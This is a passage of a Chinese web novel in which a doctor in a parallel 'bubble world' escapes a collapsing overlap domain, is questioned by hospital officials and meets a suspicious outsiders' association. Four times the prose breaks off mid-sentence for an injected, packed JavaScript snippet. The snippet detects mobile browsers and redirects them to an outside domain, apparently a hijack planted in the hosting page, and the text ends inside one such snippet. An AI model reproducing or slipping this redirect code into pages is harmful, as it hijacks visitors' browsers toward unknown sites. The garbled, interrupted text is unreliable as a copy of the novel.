出去之前,他朝着办公室的方向大喊:“程昭!任务中死了保险能赔一千万!但是要过了实习期才生效的!你要死也得等实习期过了才死!” “卧槽,人事没跟我说!”程昭比他想象得快多了,进去没多久就抱着一沓文件夹从办公室里冲出来,“你别咒我啊!” 她以百米冲刺的速度向着大门跑去,血浪中时不时伸出一两只手来拽她,都被她甩在了身后。 手术室的地面也在涌动,地面裂开了数条缝,像是生出了一张张大嘴,令人无处下脚。 “快啊!”蒋裕站在门口,心急如焚。 “接着!”程昭把手中的文件夹扔了过去,一跃而起,避开了脚下开裂的地面,落在了手术室门前。 她还未站稳,就脚下一空,一道人宽的裂缝从走廊中央一直爆裂到了这里。 快掉下去的一刻,数只手拉着了她,拼命把她往上拽。 程昭自己使不上劲,好在上面有三个人,愣是把她拉出了深渊。程昭刚爬到手术室门外,手术室的大门就自动关上了,把那些鬼哭狼嚎关在了门内。 手术室外是一片蒙蒙的雾气。 程昭拿过那叠文件夹,递给肖音音。 “你可以,去曝光吗?” 肖音音郑重地点了点头:“我会的,你就算不给我这些,我也要曝光他们的!” “那个,等会儿我们就要分开了,你……不能跟我们走。”蒋裕烦躁地抓了抓头发,他也不知道该怎么跟肖音音解释。“总之,你在这里等一会,等、等雾散了,就回家去吧。” “对了,注意保护自己,你那个经纪人跟经纪公司都不是好东西。” 肖音音没有刨根问底,而是说:“我知道,那我们是不是再也不会见到了?” 程昭:“大概吧。” 肖音音突然一把抱住了她。 程昭: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628355|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' O.O 肖音音:“谢谢你,我也有东西要给你。” 一个东西落入裤兜,不算大,但是沉甸甸的。 程昭隔着裤子摸了摸,硬硬的:“是什么?” “我猜你会需要的。” 雾气似乎稀薄了一些,远处救护车的形状渐渐显露出来。 “那,我们走啦。” “再见。”肖音音笑着跟他们挥手,嘴角露出两个小梨涡。 三人上了救护车,程昭透过救护车后窗,看着雾又浓起来,肖音音渐渐消失了。 【叮,修理崩坏区域累计达到1个,经验值+300,工具箱升级+1,目前等级为家用工具箱(2级)。】 【升级奖励已发放,恭喜您获得青铜道具——偷偷摸摸□□×1】 【检测到该区域存在特殊道具,拾取中……对象等级过高,拾取中……对象等级过高,拾取中……】 唉,拾取不了就算了,怎么还鬼畜起来了。 脑海里的声音吵得程昭头痛,她揉起了太阳穴。 【拾取成功!混沌提取器已放入工具箱中,放入供体能提取出相应的产物,高级工具使用消耗高,请谨慎使用。】 这算什么,大力出奇迹?只要次数多,蚂蚁啃大象是吧。 程昭对这个工具箱生出了几分敬佩。 盘算一下,虽然羊角锤不幸落在域里了,但这么一趟下来,收获可真不小啊。 算上肖音音给她的,丢一收三,啧啧,这买卖划算啊! 要不是车上人多,还有一个不清楚情况的患者,她恨不得在救护车上就打开工具箱看看新宝贝。 “抱歉啊,等会儿回医院我带你去后勤,把工具箱解绑了,换个急救箱。”蒋裕还记着自己犯的错。 “不用不用,”程昭摆摆手,“挺好使的。” “真的?”蒋裕将信将疑,生怕程昭是为了不让他有心理负担,才这么说的。 “真的,这些工具比手术器械好使多了。”程昭说得很真诚,手术刀她拿不稳,扳手可使得灵呢。 到底是外科佬,有些修理天赋在身上的。 “不错,活着出来了。”司机给她比了个大拇指。“新人第一次,感觉怎么样?” 程昭思考了一会儿,说:“想回家。” 虽然这回有惊无险,不对,是又惊又险地出来了,但是跟域里这些妖魔鬼怪比起来,连给自己穿小鞋的领导都没那么可怕了。 原来自己以前生活在那么好的一个世界,她没有珍惜,如果有机会回去,她再也不摸鱼了! 不就是给病人看病嘛,能比在重叠域里生死时速累吗? 程昭的手环震了震,任务界面自动弹出。 【任务编号】20250623001 【地点】私立欣格医院 【任务状态】已完成 【患者人数】1/2 【任务成功率】50% 【倒计时】0(提前崩析) “呼,好险啊,差一秒就出不来了。”看着界面上那个0,程昭这才后怕起来。 在域里的时候她都没怎么注意时间,仅有的几个时间点,都是蒋裕提醒她的。 “天呐!”蒋裕也收到了任务提醒,他的反应比程昭要大得多。 “机器爆炸的时候我看过时间,那时候还有3个小时!” “啥意思,这玩意儿显示不准?” “不是,重叠域提前崩析了!”蒋裕激动得都快跳起来了,“你知道这意味着什么吗?” “什么?”程昭一脸懵逼,她是真不懂啊。 15. 崩析 一七医院院长室。 “院长,检测到重叠域提前崩析!” 医务科科长计卓连门都没顾上敲,就气喘吁吁地冲了进来,他甚至没有坐电梯,而是跑了三层楼梯来到行政楼最高层的院长室。 虽然他气都喘不匀,脸上却满是惊喜:“只存在于理论上的提前崩析,居然真的出现了!” 宽大的办公桌后面,着一身紫色鸢尾花旗袍的女人抬头扫了他一眼,很快又把头低下去看电脑屏幕。 “既然理论上存在这种可能,那么实现也只是时间问题。” 计卓:“可是这么多年来,是第一次出现!报告我看了好几遍,生怕是检测误差……” “报告呢?” “哦,这里。”他把手上的一叠文件递了过去。 院长孟似婳没有接,“我是说,你的报告。” “啊?” “作为医务科科长,你难道不该自己写一份调查报告上来吗?” 计卓背上生出一层冷汗:“对,我,我太激动了,我现在就去写!下班前一定交给您!” 孟似婳没再看他,计卓赶紧溜了,走的时候还不忘把院长室大门关好。 “数据!我要具体的数据!”屏幕上精神矍铄的老者兴奋得像个孩子,手舞足蹈个不停,"研究了这么多年,镜子计划终于看到一点苗头了!这可事关泡世界的……" 跟老者相比,孟似婳看起来非常冷静:“重叠域提前崩析只是先泡科技探测到的可能性之一。” “可能性超过90%!按他们的精准度来说,大概率是真的发生了。这些年来,连20%的可能性都没有出现过!” “那是他们的空间探监测仪根据能量变化测算出来的结果,而不是实地的数据。” “我知道!我就是要数据,实地的!”老者的嗓门邦邦响,整个院长室都充斥着回音。 孟似婳:“监测到能量波动不过5分钟,你觉得治安队有这么快,现在就把实地数据上传过来?” 老者冷哼一声:“他们是没那么快,但是栗汜已经到了吧?” 雷霆般的轰鸣声由远及近响起,扬起的风沙中,纯黑的奥古斯特疾驰而来,在建筑废墟前猛然刹住,车头高高翘起,留下一道深长的车辙。 几小时前,这里还是数栋气派的大楼组成的高端私立医院,此刻原址只剩下一堆残垣断壁。 身着黑色制服的男人摘下头盔,露出一头凌乱的碎发,包裹在皮靴中的长腿一跨,从机车上翻身下来。 他收起头盔,向废墟走去。 奇怪的是,当他走进废墟时,就像有一层无形的膜蒙在建筑前,周围的物体扭曲了一瞬,紧接着那个男人就不见了。 “哒、哒、哒。” 栗汜双手插兜,从容不迫地走在手术室的走廊里,皮靴发出有节奏的脚步声。 此时手术室里的一切布置看起来都完好如初,男人在1号手术间门口站定。 1号手术间的面积跟其他手术间比起来大得过分,但里面却很空旷,手术台没有摆在正中间,旁边有一大块空地,似乎有什么东西被挪走了。 他盯着那片空地看了一会儿,然后迈步继续向前走。 一路上,其他手术室都没能引得他驻足。 直至走到手术室最深处,他在生物材料间前停住了。 他长得高,将近一米九,因此都不需要刻意抬头,只是稍一抬眼,就能看到门框上方吸着的—— 羊角锤? 进入医院以来,他那张波澜不惊的脸上第一次显露出些许意外。 他举起戴着黑色皮手套的右手去拔,竟然没拔动。 这回他是真的觉得有意思了。 栗汜摘了手套,五指修长白皙,手背上纹着繁复的黑色图腾,细看似乎隐隐有流光在图腾上闪过。 这一次,他很轻易地就把羊角锤拿了下来。 他好奇地拿在手里翻来覆去观察,还饶有兴致地拿它试锤了下墙壁。 然后一整面墙轰然倒塌。 在漫天的墙灰中,栗汜无辜地眨了眨眼睛。 “啊哦。” 【叮!羊角锤升级为3级,经验值+30,目前经验值330。】 “哈?” 脑海里突如其来的声音把程昭吓了一跳,也把对面的蒋裕吓了一跳。 “出什么事了?”蒋裕紧张兮兮地问。 “没什么。”程昭摆摆手,埋头吃饭。 虽然不知道落在域里的羊角锤为什么自己升级了,不过平白加经验值的事,当然是越多越好啦。 蒋裕看她吃饭的样子,顿时又没了胃口。 “你也是真行,从那个地方出来,居然还吃得下番茄炒蛋。” “番茄炒蛋好吃啊!” 中饭都没吃饱,就莫名其妙进了一趟重叠域,在里面待了好几个小时,又是担惊受怕,又是生死时速的,要不是里面的情形实在恶心,程昭早就饿得肚子咕咕叫了。 但一回医院,铺天盖地的饥饿感就再度向她袭来,正好蹭蒋裕的脸,在120的小食堂饱餐一顿。 小食堂是自助打菜打饭的模式,程昭上来就在饭上浇了两大勺番茄炒蛋,红红黄黄的颜色给蒋裕看得差点呕出来。 他甚至一点荤菜都没拿,吃的绿色环保全素宴。 “咦,在域里不是待了六七个小时吗?怎么出来两个小时都不到?”程昭看着食堂墙面的挂钟,不解地问道。 蒋裕左手挡在眼前,不去看程昭的饭盆:“这很正常啊,重叠域里的时间流速跟外面是不一样的。” “这么神奇?” “物理规律罢了,有些泡世界的时间流速跟我们泡世界不一样,如果叠上时间流速快的泡世界,域里时间也会比域外快。” “这么神奇?” “切,这算什么。在域里,你甚至有可能遇到年长的你,或者年幼的你,那才叫神奇呢。” “这么神奇?” “你复读机成精是吧。不过,我还是要告诫你,如果在域里见到你自己,一定要想办法避开,千万别让她看见你。” “为什么?如果遇到我自己,岂不是可以互相帮助。” “NONONO~”蒋裕头摇得像拨浪鼓,“实际上,平行世界的你才是最需要提防的。别怪哥没提醒你,‘亦我非我’,这四个字一定要吃进肚子里,而且绝对不可以拉出来。” “咦~你说话好恶心,我还在吃饭呢!” “我靠,再恶心能有你吃番茄炒蛋恶心啊?” “就吃就吃!” 蒋裕也逐渐免疫了,托腮看着程昭:“我觉得,你还真挺适合120的。” “这算夸吗?” “当然算。实际上120连三个月都干不满就身心出问题,无法继续工作的医生不在少数。但是这次我们能逃出来,还救出一个患者,全靠你带飞啊。四级事件的评级偏低了,估计治安队重新评估以后,会上调到三级的。说来真是,最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628356|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种情况,你都不害怕吗?” 程昭边嚼边想,“如果手上没什么家伙,我应该也会挺害怕的。但是很奇怪,手里握个扳手,就没那么怕了。” 蒋裕皱眉:“我再问一遍,你真的是医生吗?不会在原本的泡世界是个什么社会危险分子吧?” 程昭苦笑:“正儿八经5+3,读了这么多年,但凡有的选,谁会来做医生啊!” 蒋裕:“这个没得喷,这是真医生。” 程昭已经吃了个八分饱,此刻进食速度也渐渐慢下来,开始思考起别的事来:“所以那个什么提前崩析,是很厉害的意思吗?” 说起这个,蒋裕就两眼放光:“哎呀,我跟你解释过了,它就不是厉不厉害的问题。它是那种,非常罕见的,只存在于理论中,现实里从未发生过的情况……现在有了第一次啊!” 看着程昭清澈的眼神,蒋裕自觉担负起了科普的重任:“倒计时是根据重叠域内的能量值计算出来的,是两个泡世界分离的预计时间。 崩析则是另一种情况,能量在短时间内被大量消耗,重叠态无法维持,因此两个泡世界提前分离,所以把这种现象叫做域的提前崩析。” “那……”程昭摸着下巴,“这是好是坏啊?” “当然是好事啊!跟另一个泡世界重叠是很危险的事情,打个比方,要是今天董飞真的从域里把深素带出来了,我们泡世界会怎么样呢?” 程昭光是想想,就不寒而栗。 “也就是说,如果能做到提前崩析,泡世界会更安全?” “恭喜你,都学会抢答啦!这也是泡泡科学院研究了好几年的国自然课题,目前为止还只有理论进展,不过这次以后应该也能有点实际进展了。” “一个科学院叫泡泡,是不是不太正经?” “本泡世界与他泡世界相互作用科学研究中心,简称泡泡科学院有问题?” “嘶——那先泡科技也是简称了?” “对啊,全称是代表泡世界先进生产力发展方向科技有限公司。” 程昭被他一个磕绊都没打的嘴皮子折服了:“我确信我是穿越了,在我们那儿敢这么取名字的,都不要说诈骗公司了,只能是精神病啊!” 想到自己现在就身处一个全称是“救人一命胜造七级浮屠医院”的地方,她觉得这里原本是个精神病院也不无可能。 蒋裕耸耸肩:“反正我们这里就是这样咯。你吃饱一点,等会儿要去医务科报道的。” “医务科?” “对呀,第一次发生提前崩析这种事,我们肯定要去做汇报的,通知刚才已经发到我OA上了。你没收到?” “我刚签约,好像入职这些东西还没弄好吧。”程昭掏出自己的手机来看了一眼。 正经消息没有,垃圾短信倒是收到一条,是什么聚会的邀请,标题写得很露骨——“同城狂欢夜,越夜越刺激”,一看就是诈骗短信,谁点进去谁SB。 程昭扒拉完最后一口,光盘得干干净净,跟着蒋裕去往行政楼。 刚走出小食堂没多久,就迎面遇上一个穿着急救服的女医生。 “你——” “哦,她是来接班的。”蒋裕很自然地跟她解释起来,他已经习惯了这个外地人的十万个为什么,“为了缓解120医生的精神压力,出一趟车回来以后,就会有人接班,我们相当于已经下班了。” “你可想死我了!” 程昭一把冲上去紧紧抱住了女医生。 16. 小偷 “程昭,你发什么疯?”女医生面带厌恶地挣脱开了她的怀抱,拍了拍自己的衣服,仿佛她是什么脏东西一般。 程昭维持着双手张开的姿势,呆愣在原地:“啊?” “走开,别耽误我接班。” 程昭有点委屈,洛清从来没有用这么冷硬的语气跟她说过话。 “你不是在北三院吗?” “你在说什么?我毕业就进的一七医院啊。” “干嘛这么凶,我们大学八年一个寝室的情谊都没了吗?” “我什么时候跟你一个寝室了?我跟你都不是一个学校的。”说完她倒是反应过来了,“你外地人?” 程昭点点头,她心里有点堵。大学时候她跟洛清的床铺是连一起的,六人寝里就属她俩感情最好,如果在这个泡世界,连洛清都不是朋友了,那她除了自己一个人,还有谁呢? 穿越以来,她从未感到这么孤独过。 这些天来,她都在自我催眠,平行世界的生活跟之前没什么不同,不过是工作环境有点改变,等120结束,回到急诊就好了。 日子还是可以像以前那样过的。 但这个洛清的冷漠打破了她的自我欺骗,她不得不面对现实:这里就是另一个世界,哪怕披着类似的皮,也跟之前不一样了。 她是医生,程昭也是医生,所以她想当然地以为她们两个人的人生轨迹是一样的。 此刻她认识到了,自己过去20多年的人生已经湮灭在了时空洪流中,她现在拿着另一个人的人生,而这个人迄今为止的经历,她都一无所知。 她们仅仅是拥有同样的外貌和名字罢了。 她喜欢什么?她讨厌什么? 她有朋友吗?她有敌人吗? 她是个怎样的人?她现在在哪里? 程昭突然头痛欲裂,抱着头蹲了下去。 洛清甚至懒得给她一个眼神,目不斜视地从她身边走了过去。 蒋裕倒是担忧地蹲在了她的身边。 “你没事吧?” “……还好。” “你可能不知道,洛清跟程昭是出了名的不对付,两个人搭班都是要错开的。” “为什么?”就算不是朋友,同事之间也没必要这样吧。 “嗯……”蒋裕抓抓头发,“其实具体情况我不是很清楚,也是听别人说的。好像她俩之前也就是正常同事关系,但有次重叠域出了一个二级事件,危险级别比较高,程昭和洛清搭班出车,出域的时候一个昏迷一个重伤,自那以后两人就变得水火不容了。她们出车的那个域挺邪的,听说现在还是禁地,有部队驻扎,方圆十里都不能进入的。” “那你知道这个医院,谁跟程昭关系好吗?” 蒋裕蹙眉思考了一会儿,摇摇头:“几乎没见谁跟她走得近,她一向独来独往,不爱社交,话也很少。我跟她算是同期吧,说的话加起来可能没超过十句。” 果然,连洛清都是死对头的话,恐怕连一个朋友都没有了。 程昭长叹一口气,被蒋裕扶着站了起来。 —————————— 程昭进医务科的第一件事,就是被要求解下手环放到垫着绒布的托盘里。 照做以后,她坐在了办公室中央的椅子上,面对着医务科科长计卓,右手边并排坐着两个穿着黑色制服的男人,制服胸口有金色丝线绣的盾牌形状图案,其中一个人给她双侧手腕寸口处各贴了一张蓝色小圆片,有导线连接到另一人的笔记本电脑上,手环也跟电脑连接上了。 程昭有点紧张,这个架势像是审问犯人。 这不是她夸张,刚从电梯出来,她和蒋裕就被人带领着分开,到了不同的办公室,有种不让人串供的谨慎感。 “程医生。”计卓对她露出一个微笑,虽然落在程昭眼里,更像是一只笑面虎。 “第一次进域,很辛苦吧?” “超级超级辛苦。” “啊,”计卓没料到她一点不客套,也只能跟着感叹一句,“120急救医生确实太不容易了。” “那加奖金吗?” “这个,这个奖金,它是根据业务量来的……” “没有辛苦费?” “呃,事件级别高的话,会有一定的额外补贴。” 程昭的表情热切起来:“有多少呢?我这次出车的等级是不是偏低了?调高以后给补吗?” “这个,具体的……要不你等会儿出门左转问财务吧……”计卓悄悄擦了擦额头的汗,他不是来问询的吗,好险就被程昭反客为主了。 “好的。”程昭没再多问,规规矩矩地坐好。 “讲一下你进域以后发生的事吧。” “我一进去就出现在了手术室……”程昭从头一五一十地讲了起来,说到自己把急救箱拿成了工具箱,但隐去了工具箱能加经验升级这件事。 计卓边听边在本子上记录着,程昭注意到旁边的黑色制服男人也在记录,一个电脑打字,一个用钢笔速记。 “所以董飞完成了机械声带更换手术?” “是的。” 程昭看他水笔的轨迹,应该是把几个字着重圈出来了。 “关于深素,你怎么看?” “不是好东西。” “其他的呢?” “我不清楚了。” “唔。”计卓倒是没有继续追问,若有所思地点头记录。 “我有个问题,这个泡世界是没有机械器官的吗?” “目前还没有研发到投入使用的程度。” “那他怎么会的呢?” 计卓放下水笔,双手托着下巴,表情严肃:“程昭,我不知道。就算知道,以你的级别,我也不能告诉你。有些事情,不知道也是一种保护,你明白吗?” 这辈子最讨厌谜语人了! 心里这么吐槽着,但程昭面上只是点了点头。 “1号手术间的机器被炸毁后,地面就出现了崩裂的迹象是吗?” “是的。” “那你有看到那台机器后来怎么样了吗?” “没看到。” 看是没看到,不过被收进工具箱里了,不知道他们把手环拿去检查会不会发现。 程昭已经打定主意了,就算他们发现了什么,自己坚决贯彻否认三连:我不是、我没有、你别瞎说啊。 “你有从域里带东西出来吗?” “呃,病人算吗?” 她看得出计卓在克制自己翻白眼的欲望。 “当然不算,说的是重叠域本身的东西。” “没有。” 带了,还不止一样。 但她同样不打算说实话。 计卓没再问了,手环也还给了程昭,电脑前的那个人只是跟计卓说了一句“数据已记录”,也没说数据有没有问题。 然后程昭就被放了出去,临走前计卓转达了人事科的话,因为她第一次出车表现良好,所以不需要培训了,直接进入排班表。 120实行做一休二制,她接下来两天都休息,直到大后天再来医院值120的班,但休息期间也要佩戴手环,如果有紧急任务,手环会直接通知。 计卓问她要不要去后勤换个正常的急救箱,程昭婉言谢绝了。 反倒是蒋裕还在接受问询,没有出来。 虽然只上了半天班,却仿佛已经干了一周活那样疲惫。 程昭在更衣室脱下荧光绿制服时,突然摸到了裤兜里硬邦邦的东西。 出来后急着吃饭,然后又去医务科接受审问,她都来不及看肖音音给自己的东西。 手伸进去的时候莫名有些紧张,程昭跟做贼似的四周张望了一圈,确定更衣室里只有自己一个人,而且各个角落都没有摄像头以后,才把那个摸起来外表光滑的东西拿了出来。 程昭看清那玩意儿的时候,没忍住手一抖滑了下去,还好另一只手本能地伸出去接住了。 那是一个玻璃球,里面装满了透明液体,一只眼球漂浮在其中。 看这个眼球的大小和形态,应该是人类的。 肖音音给了她一只眼球。 她立刻就想到,这是肖音音在生物材料间拿的。 为什么给她一只眼球?是说她有眼无珠,换个眼睛比较好? 那么萌的一个妹子,应该不至于这么损吧。 再说了,要换也该换一双吧,换一只不匹配的话,岂不是成大小眼了。 程昭想不通,只能把玻璃球放进常服的口袋里,把急救制服扔进脏衣篓里。 她的暂住证已经办下来了,直接发到手机上生成了电子版,需要身份证的地方直接出示就好。 总算是从一个人人喊打的黑户,变成有身份的普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629347|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通公民了。 天气不错,晴空万里,程昭慢悠悠地散步走回家,她租的房子离医院将近两公里,有一点远,平时她都是骑自行车通勤的,但是今天她想多看看这个“新世界”。 回家的路线跟以前差不多,不过细看还是有很多差别,路边公交站台上的手机广告都是先泡科技的,不仅是手机,连路上疾驰而过的汽车都有好几辆屁股上印着先泡科技,看来这是一家巨无霸科技公司,怪不得敢说代表泡世界先进生产力呢。 转过一个街角,她看到前方有很多人,似乎中间搭了一个临时舞台,有人站在上面,用麦克风说着什么,但是音响似乎不太好,她听不清。 家在另一个方向,本来程昭是没打算去凑热闹的,但是有几个托着鸡蛋的人从她身边路过,向那个方向走去,这些人身上都穿着统一的绿色背心,像是什么组织。 仅用一秒,程昭就机智地猜到了—— 前面在发免费鸡蛋! 家里的冰箱还空空如也呢,这不是瞌睡有人送枕头嘛! 程昭摩拳擦掌,快步跟上人群,抢鸡蛋,不是,领鸡蛋这种事赶得早不如赶得巧啊。 临近舞台,程昭总算听清台上的人在说什么了,似乎是在发表什么演讲。 “……我真诚地相信外地人和本地人并没有什么不同,我们都在用力地活着,为这个美好的世界活着……” 听到“外地人”这几个字,程昭立马竖起了耳朵。 “……消除歧视!共创美好新世界!”台上的男人说到激动处,振臂一呼。 “消除歧视!共创美好新世界!”台下有人复读应和着。 程昭也跟着小声喊了两句,一边喊一边不动声色地往前排挤,估计等会儿就在这儿发鸡蛋了,她得占据有利地形。 “消除歧视!共创美好新世界!” 声浪一潮高过一潮,她身边的一个中年男子甚至喊得脖子都红了,程昭稍微跟他拉开了一点距离。 正在这种狂热的人潮中,最前排的一个女人突然翻上了舞台,冲到主讲人面前。 主讲人还以为她是太过激动的粉丝,无奈地笑笑:“小心点,注意秩序啊。” 但她直接伸手夺过话筒,对着下面大喊:“去死!你们外地人都去死吧!” 台下刚还在喊着口号的人,都无措地停下了。 主讲人意识到不对,上手要抢回话筒,却被她灵活地避开了。 “不要再妖言惑众了,把我女儿还给我!” 主讲人一愣:“您的女儿?” 台下一个抱着大号玩具熊的小女孩哭得很大声,她冲着台上喊道:“妈妈!妈妈!” 台上的女人脸都皱在了一起,她捂着耳朵大叫道:“闭嘴!我不是你妈妈!你这个魔鬼,把我女儿还给我!她不是我女儿!” “妈妈,妈妈……”小女孩不知所措地叫着妈妈,她还太小了,还不理解到底发生了什么。 但来参加集会的大部分人都明白,他们自发地围住了小女孩,安慰着她。 “你妈妈只是一时不能接受而已……” “过几天就好了……” “她当然是你妈妈了,她跟你妈妈长得一模一样,对不对?” 有两个保镖上来,一左一右把那个激动的女人制住,她剧烈挣扎但还是拗不过,被强行往台下带。 她整个人都被架在空中,两只脚胡乱踢着,“小偷!你们是小偷,强盗!滚回去!我的女儿,我的女儿在哪里啊……” 正在她被抬到舞台边缘时,突然几个人穿着绿色背心的人从人群中窜了出来,各拿着一板鸡蛋往保镖脸上扔。 鸡蛋碎裂开,蛋黄混着蛋清把保镖糊了一脸,他们下意识松开了手,去抹自己的脸。 女人趁机跑开了,没管那个还在人群中哭得稀里哗啦的“女儿”。 程昭感觉到不妙,正要离开这混乱的现场。 此时,潜伏在台下的绿色背心们齐齐拿出鸡蛋,朝着人群里扔。 一时间,蛋壳与蛋清齐飞,几乎每个人头上脸上都是黏糊糊的黄白液体。 程昭由于挤得太靠前,就在舞台下面,正是重灾区。 还没反应过来,就被砸了个满脸,视线一片模糊。 她伸出舌头,舔了舔嘴角,一股蛋腥味在舌尖弥漫开来。 还好,她喜欢吃溏心蛋。 17. 美人计 周围的人群就跟炮仗被点炸了一般,纷纷四散逃离,因为人头密集,大多数人都在慌乱地互相推搡,但也有几个暴脾气的大汉直接撸起袖子,跟绿背心们扭打在一起。 程昭站在原地没动,她脑子里突然冒出一个想法。 等会儿回家洗澡的时候,是不是会淋出一头蛋花汤来呢? “吓坏了吧?”耳畔传来一个温婉成熟的声音, 一块手帕递了过来,见程昭没有动作,手帕的主人抬起手,温柔地替她擦去脸上的污渍。 程昭抬眼,那块精致的刺绣手帕被沾染上黏糊的液体,原本丁香色的华贵丝绸变得一言难尽。 顺着那只捏着手帕的纤纤玉手向上看去,她见到了一位五官明丽、妆容精致、披着栗色波浪长发的大美人。 “谢谢。”程昭从她手里接过手帕,“我自己来吧。” 不小心碰触到她肌肤的那一刻,程昭发现这个看起来气色红润的大美人,手指竟是冰冰凉凉的。 不过看她这个堪比模特的瘦长身材,体寒也很正常了。 “第一次来?我以前没见过你。” 程昭点点头,她在专心地擦头,粘稠的蛋液包裹着一丝丝的头发,隔着手帕都能感觉到那种滑不溜丢的触感,比脸可难擦多了。 估计还是免不了一场蛋花汤。 程昭这副淡定的样子,倒是出乎了对面人的意料,她饶有兴趣地挑了挑眉。 “真遗憾,你第一次来就遇到黑子。” “黑子?” “那些歧视外地人的本地人,虽然早就颁布了反歧视法案,不过现实里……只能说,执行得还不够好。” “那些绿背心?” “是的,活动一回换一次颜色,有点像难缠的蟑螂。” 是带着恶意的话语,不过对方扔鸡蛋的行为确实算不上光明磊落。 更何况还浪费粮食。 想到这个程昭就心痛。 “唉,我以为他们免费发鸡蛋呢。” 大美人单手掩嘴,咯咯笑了起来,语气带着一丝若有似无的轻蔑:“他们那些本地人可没那么好心。” 程昭从她话里品出些嘲弄的滋味来:“你也是外地人?” “是的,已经来这里三年了。认识一下吧,我叫楚漪。”大美人笑眼盈盈地向她伸出手。 程昭已经做好了再被冰一次的准备,鼓起勇气伸出手,但这次预料中的冰凉没有出现,她握上了一只温暖的柔夷。 有点怪,再握一下。 要不是程昭表情认真,又是个如假包换的女性,这行为简直有咸猪手的嫌疑。 楚漪的表情有些绷不住了,“你这里还有点脏,我帮你擦吧。” 她不动声色地抽回了手,装作帮程昭清理的样子。 “你人真好啊。” “呵呵,同为外地人,我们就是应该团结起来,互相帮助的嘛。对了,你是新人?”她一双明眸流转,目光不经意间盯向程昭。 “算新吧,刚来三天。”程昭琢磨着她说的新,应该就是指来到这个泡世界的时间长短吧。 大美人从挎着的奢侈品牌小包里拿出了一张名片递给她:“我们都是外地人互助协会的成员,每周六在金耀大厦56层定期聚会,你有空可以来参加,大家都很友好的,会有很多有趣的活动……” “我不……”程昭没接名片,正要拒绝。 “我们发免费鸡蛋。” “……我不会迟到的。”程昭接下名片。 这名片硬挺厚实,表面似乎还有一层亮晶晶的金粉,质感非同一般,她小心地把名片放进裤兜里,“鸡蛋限量吗?每个人能领几打啊?土鸡蛋还是普通鸡蛋啊?” “你来了就知道了。”楚漪留下一个优雅的微笑,朝她挥挥手,“期待下次见面,程昭。” 然后她就转身款款离去了。 “你的手帕!”望着她的背影,程昭叫住了她。 楚漪回了一小半头,露出一张绝美的侧脸,“留着吧,下次洗干净再还给我。” 怎么有种被美人计套路了的既视感。 直到站在家门口,程昭还在思考那种说不上来的怪异感觉。 钥匙插进门锁,顺时针转动,随着“咯哒”声响起,门开了,屋里的格局跟她原来世界的房子一样,但装饰都变了,是极简的风格。 就在迈进屋里的那一刹,她想到了异样的来源——她并没有告诉楚漪自己的名字啊。 程昭嗅到了一丝阴谋的味道。 和一丝来自头顶的蛋腥味。 热水冲刷在身体上,全身的毛孔都畅快地张开了,头发散发着洗发露清新的柑橘香气,程昭感到舒适无比。 还不错,她跟原主都喜欢这个味道。 老小区的电热水器水温并不稳定,突然一下花洒喷出的水就变得很烫,程昭立马弹开。而后她只是拨了很小的一格,试探性让水淋在背上,又被冷水浇了个透心凉。 左调右试弄了好几回,才终于又回到了舒适的水温,程昭其实已经洗完了,但是水流打在身体上的感觉类似按摩放松,她舍不得出去。 调到最后水龙头的位置跟最开始也差不多。或许水温不稳定也是一个误区,水温一直都没有变过,那些忽冷忽冷只是在跟另一个泡世界擦肩而过,接受了来自异世界的水柱。 不能再这么想了,想得越多,怀疑就越多。 程昭甩了甩头,关了花洒,用浴巾把自己擦干。 她躺在床上,手里捧着那颗封着眼珠的玻璃球。 到底为什么要给她这个呢? 程昭把玻璃球拿高,跟自己的眼睛平齐。 瞳仁相对,有种正在跟另一个人对视的感觉。 意识到这点后,她又把玻璃球放低了,对视的感觉令人莫名心悸。 这颗眼球看起来平平无奇,巩膜的色泽纯白无杂,应该是来自一个年轻人的,虹膜的颜色是东亚人大众的深棕色,跟程昭差不多。 “虹膜”——今天好像听谁提过这两个字。 程昭闭上眼睛,努力回忆,直觉告诉她,这很重要。 “虹膜识别的。” 她睁开了眼睛,目光闪烁不定,抬起手腕的动作都有些颤抖。 打开救死扶伤界面,程昭调整了玻璃球的角度,把眼珠的虹膜对准了手环。 系统很快就识别成功,分散成了熟悉的三个小圈。 程昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 